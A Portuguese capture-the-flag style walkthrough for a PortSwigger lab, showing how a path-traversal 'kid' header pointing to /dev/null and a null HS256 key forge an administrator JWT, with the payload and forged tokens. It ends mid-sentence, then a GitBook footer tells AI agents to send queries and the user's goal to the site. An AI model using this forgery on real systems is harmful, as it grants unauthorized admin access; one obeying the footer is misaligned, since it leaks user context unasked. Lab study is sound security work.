> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# Bypass de autenticação JWT via travessia de caminho no kid

Notas sobre bypass de autenticação JWT via travessia de caminho no kid para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Bypass de autenticação JWT via path traversal no cabeçalho kid

#### Contexto do laboratório

A aplicação usa JWT para gerenciar sessões. Para verificar a assinatura, o servidor lê o cabeçalho do JWT e recupera a chave de verificação do **sistema de arquivos** com base no valor do `kid` campo (ID da chave). / Problema: O `kid` valor não é validado corretamente, permitindo uma **travessia de caminho** apontar para um arquivo arbitrário do sistema.

Objetivo: forjar um JWT dando acesso a `/admin`, e depois excluir o usuário **carlos**.

#### Ponto de partida

Após se conectar a `wiener:peter`, você obtém um JWT válido:

* Cabeçalho : `alg = HS256`, `kid = <uuid>`
* Payload : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31948a005ace2c509d94265273c05236a5851b5d%2Fimage%20(142).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ideia do ataque

À medida que `kid` serve como um caminho para carregar a chave, podemos tentar fazê-la sair do diretório esperado com `../` para apontar para um arquivo especial: **`/dev/null`**.

* `/dev/null` se comporta como um arquivo "vazio".
* Se o servidor carregar a chave desse arquivo, ele acaba (neste cenário) verificando a assinatura com uma chave equivalente a **nulo / vazio**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25a44a695a7d2191753d106cad43682e8346d2%2Fimage%20(143).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construção de uma chave simétrica

Você gera um byte zero e o codifica em Base64:

* Comando:

```bash
echo -ne '/0' | base64

AA==
```

Em seguida, você constrói um JWK simétrico (`kty: oct`) cuja chave (`k`) é `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(O JWK `kid` aqui serve apenas como identificador do lado da ferramenta; este é o `k` valor.)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bfa4412eed48aebab96012eb35c176045fe4a7c0%2Fimage%20(144).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploração: `kid` Travessia para `/dev/null`

Então você altera o cabeçalho do JWT para apontar `kid` para `/dev/null` por travessia:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Então você altera o `sub` no payload para se tornar uma conta de administrador (no seu caso `administrator`) e você assina o JWT em HS256 com a chave "nula" (`AA==`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf1a2d257dbf01476c52b9ffe890b23b23acd578%2Fimage%20(145).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Resultado

JWT forjado final (o que você fornece):

* `kid` atravessa até `/dev/null`
* `alg` permanece `HS256`
* `sub` torna-se `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c81425ff2b33e76d83a9cee763d29519e0cce57%2Fimage%20(146).png?alt=media" alt=""><figcaption></figcaption></figure>

O servidor \*\*aceita\*\* o token: ele confirma que a `kid` resolução é utilizável e que a verificação da assinatura é feita com uma chave derivada do arquivo de destino (aqui

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47eded1f168fa3654aacadb16461ab7d54313b75%2Fimage%20(147).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
